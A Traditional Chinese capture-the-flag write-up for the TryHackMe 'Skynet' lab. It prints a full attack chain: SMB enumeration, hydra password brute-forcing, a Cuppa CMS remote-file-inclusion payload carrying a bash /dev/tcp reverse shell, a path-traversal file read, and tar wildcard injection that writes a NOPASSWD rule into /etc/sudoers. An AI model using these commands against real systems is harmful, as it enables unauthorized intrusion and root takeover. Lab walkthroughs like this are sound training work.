TryHackMe Skynet writeup (zh-TW)

題目資訊
- 平台: TryHackMe
- 房間名稱: Skynet
- 難度: Easy
- 目標: 最終獲取 user.txt 和 root.txt,中間有很多有趣關卡
- 主題: 終結者電影主題
- 連結: https://tryhackme.com/room/skynet
發現服務
- Port 22: SSH
- Port 80: HTTP
- Port 110: POP3
- Port 139/445: SMB (Samba 4.3.11)
- Port 143: IMAP
Step 1: SMB 枚舉
列舉 SMB shares,發現匿名存取:
smbclient -L //10.10.197.181
enum4linux 10.10.197.181
連接匿名 share:
smbclient //10.10.197.181/anonymous
smb: \> ls
smb: \> cd logs
smb: \> get log1.txt
重要發現:
log1.txt
- 密碼清單attention.txt
- 提到使用者 milesdyson
Step 2: Web 目錄枚舉
掃描網站目錄:
gobuster dir -u http://10.10.197.181/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
發現 /squirrelmail
郵件系統登入頁面
Step 3: 破解 SquirrelMail
帳號使用使用者:milesdyson
使用找到的密碼清單log1.txt破解:
hydra -l milesdyson -P log1.txt 10.10.197.181 http-post-form \
"/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:incorrect"
成功登入後在郵件中發現 SMB 密碼:`)s{A&2Z=F^n_E.B``
Step 4: 存取個人 SMB Share
使用新密碼連接 milesdyson share:
smbclient //10.10.197.181/milesdyson -U milesdyson
# 密碼: )s{A&2Z=F^n_E.B`
smb: \> cd notes
smb: \> get important.txt
important.txt
內容揭露隱藏路徑:
1. Add features to beta CMS /45kra24zxs28v3yd
Step 5: 發現 Cuppa CMS
遞迴掃描隱藏路徑:
gobuster dir -u http://10.10.197.181/45kra24zxs28v3yd/ \
-w /usr/share/wordlists/dirb/common.txt
發現 /administrator
- Cuppa CMS 登入介面
Step 6: 利用 RFI 漏洞
Cuppa CMS 存在遠端檔案包含漏洞:
└─$ searchsploit cuppa
Cuppa CMS - /alertConfigField.php' Local/Remote File Inclusion php/webapps/25971.txt
準備簡單 PHP shell:
echo '<?php system("bash -c \"bash -i >& /dev/tcp/你的tryhackmeIP/4444 0>&1\""); ?>' > shell.php
python3 -m http.server 8000
設置監聽器並觸發:
nc -lvnp 4444
# 在瀏覽器觸發 RFI
http://10.10.197.181/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://你的IP:8000/shell.php
成功取得 www-data shell
Step 7: 取得 User Flag
www-data@skynet:~$ cat /home/milesdyson/user.txt
<7ce5c2109aRedacted3600a9ae807>
Step 8: 發現提權向量
檢查 cronjob:
www-data@skynet:~$ cat /etc/crontab
*/1 * * * * root /home/milesdyson/backups/backup.sh
檢查 backup.sh:
www-data@skynet:~$ cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
發現使用 tar *
- 存在 Injection 漏洞!
Step 9: Tar Wildcard Injection 提權
利用 tar 參數注入,修改 sudoers:
cd /var/www/html
# 創建惡意腳本
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh
chmod +x shell.sh
# 創建會被解釋為 tar 參數的檔案
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"
等待一分鐘後(cronjob 執行):
www-data@skynet:~$ sudo -l
# 確認有 NOPASSWD 權限
www-data@skynet:~$ sudo su
root@skynet:~# whoami
root
Step 10: 取得 Root Flag
root@skynet:~# cat /root/root.txt
3f0372db24Redacted82cd6a949
技術要點
- SMB 資訊洩露
- Anonymous share 公開存取,洩露密碼清單
- 服務鏈式攻擊
- SMB → SquirrelMail → Personal Share → 隱藏路徑
- 每個服務都成為下一步的跳板
- Cuppa CMS RFI 漏洞
- 未過濾的
urlConfig
參數允許包含遠端檔案 - 可直接執行 PHP 代碼取得 shell
- 未過濾的
經驗分享
Tar Wildcard Injection 原理解釋
問題所在:
- 腳本使用
tar cf backup.tgz *
*
會被 shell 展開成所有檔案名稱- Tar 會把某些檔案名稱當作參數而非檔案!
攻擊原理:
當我們創建名為 --checkpoint=1
的檔案時:
bash
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"
Shell 展開 *
後,命令變成:
bash
tar cf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [其他檔案...]
Tar 把 --checkpoint
開頭的檔案名稱當作命令參數!
參數說明:
--checkpoint=1
:每處理 1 個檔案就執行一次動作--checkpoint-action=exec=sh shell.sh
:執行sh shell.sh
命令
所以這個提權的方法是利用了 shell 展開 *
的特性 + tar 把檔名當參數的行為
關於Step 1:
這一步會很理所當然的檢查SMB,但是作者一開始其實是先去研究SquirrelMail的漏洞,因為SquirrelMail也有一個經典的LFI漏洞,但是試過之後發現失敗,所以才從SMB下手
關於Step 6:
獲得RFI之後,其實這一步就可以先拿user flag了,可以試試看,既然已經知道user flag的位置,看看要怎麼用RFI拿到旗子,下面查看解答
http://10.201.125.91/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../home/milesdyson/user.txt
關於Step 8:
提權的方法,有很多種,不過這邊分享一下,除了直接用linpeas.sh爆破之外,筆者見過的幾個方法,
1. SUID/SGID 二進制檔案
# 尋找 SUID 檔案
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 尋找 SGID 檔案
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
# 同時找 SUID 和 SGID
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
2. Sudo 權限配置
# 檢查當前用戶的 sudo 權限
sudo -l
# 查看 sudoers 檔案(如果有權限)
cat /etc/sudoers
ls -la /etc/sudoers.d/
3. 計劃任務(Cron Jobs),如本題
# 系統層級
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
4. 可寫入的重要檔案/目錄
5. 核心與系統資訊
6. 敏感資訊搜尋
# 設定檔中的密碼
# SSH 私鑰
# 資料庫設定